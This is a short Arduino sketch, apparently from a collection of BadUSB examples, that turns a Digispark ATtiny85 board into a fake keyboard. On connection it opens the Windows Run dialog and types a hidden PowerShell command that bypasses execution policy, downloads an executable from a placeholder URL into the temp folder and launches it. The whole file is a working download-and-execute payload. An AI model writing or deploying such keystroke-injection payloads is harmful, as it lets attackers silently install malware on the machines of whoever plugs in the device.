badusb_examples/attiny85_digispark/powershell_wget_execute/powershell_wget_execute.ino

16 lines
450 B
Arduino
Raw Normal View History

2018-02-20 16:21:14 +00:00
#define kbd_es_es
#include "DigiKeyboard.h"
void setup() {
DigiKeyboard.update();
DigiKeyboard.delay(5000);
}
void loop() {
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
delay(2000);
DigiKeyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\\\"$env:temp\\bob.exe\\\"); Start-Process \\\"$env:temp\\bob.exe\\\"\"");
delay(3000);
while(1);
}